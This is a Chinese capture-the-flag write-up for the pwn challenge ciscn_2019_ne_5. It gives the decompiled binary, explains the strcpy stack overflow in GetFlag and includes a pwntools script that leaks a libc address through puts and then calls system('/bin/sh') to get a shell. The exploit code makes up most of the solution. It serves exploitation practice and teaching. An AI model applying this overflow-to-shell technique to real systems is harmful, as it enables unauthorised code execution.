ciscn_2019_ne_5
题目链接:ciscn_2019_ne_5。
下载附件后,使用 IDA 反编译,定位到主要函数,如下。
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+0h] [ebp-100h] BYREF
char src[4]; // [esp+4h] [ebp-FCh] BYREF
char v6[124]; // [esp+8h] [ebp-F8h] BYREF
char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
char v8[96]; // [esp+88h] [ebp-78h] BYREF
int *p_argc; // [esp+F4h] [ebp-Ch]
p_argc = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(v8, 0, sizeof(v8));
*(_DWORD *)src = 48;
memset(v6, 0, sizeof(v6));
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf("%100s", s1);
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
while ( 1 )
{
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 0:
exit(0);
return result;
case 1:
AddLog(src);
break;
case 2:
Display(src);
break;
case 3:
Print();
break;
case 4:
GetFlag(src);
break;
default:
continue;
}
}
}
其中漏洞存在于 AddLog 函数与 GetFlag 函数,两个函数的代码如下。
int __cdecl AddLog(int a1)
{
printf("Please input new log info:");
return __isoc99_scanf("%128s", a1);
}
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h] BYREF
char v3[60]; // [esp+4h] [ebp-44h] BYREF
*(_DWORD *)dest = 48;
memset(v3, 0, sizeof(v3));
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}
解题思路:
- 通过 AddLog 函数,往栈中内容。
- 通过 GetFlag 函数,制造栈溢出。
- 通过劫持程序执行流,控制执行 puts 函数,泄露出 LIBC 基址。
- 调用 system 函数获取 Shell。
解题脚本如下。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
# LOAD:080471AE aFflush db 'fflush',0
# .text:08048933 retn
# .text:08048520 ; void __usercall __noreturn start(int@<eax>, void (*)(void)@<edx>)
p()
sla('Please input admin password:', 'administrator')
sla('Input your operation:', '1')
sla('Please input new log info:', 76 * b'a' + p32(ELF_FILE.plt['puts']) + p32(0x08048522) + p32(ELF_FILE.got['printf']))
sleep(1)
sla('Input your operation:', '4')
LIBC_ADDR = uu32(ru('\xF7')[-4:]) - LIBC_FILE.symbols['printf']
leak("LIBC_ADDR", LIBC_ADDR)
one = one_gadget(LIBC_ADDR)
sla('Please input admin password:', 'administrator')
sla('Input your operation:', '1')
sla('Please input new log info:', 76 * b'a' + p32(ELF_FILE.plt['system']) + p32(0xAAAAAAAA) + p32(LIBC_ADDR + next(LIBC_FILE.search(b"/bin/sh\x00"))))
sla('Input your operation:', '4')
irt()
pwn()
这里需要说明的是,在 buuoj 中,直接劫持执行代码:system("sh"); 是无法获得 Shell 的。

浙公网安备 33010602011771号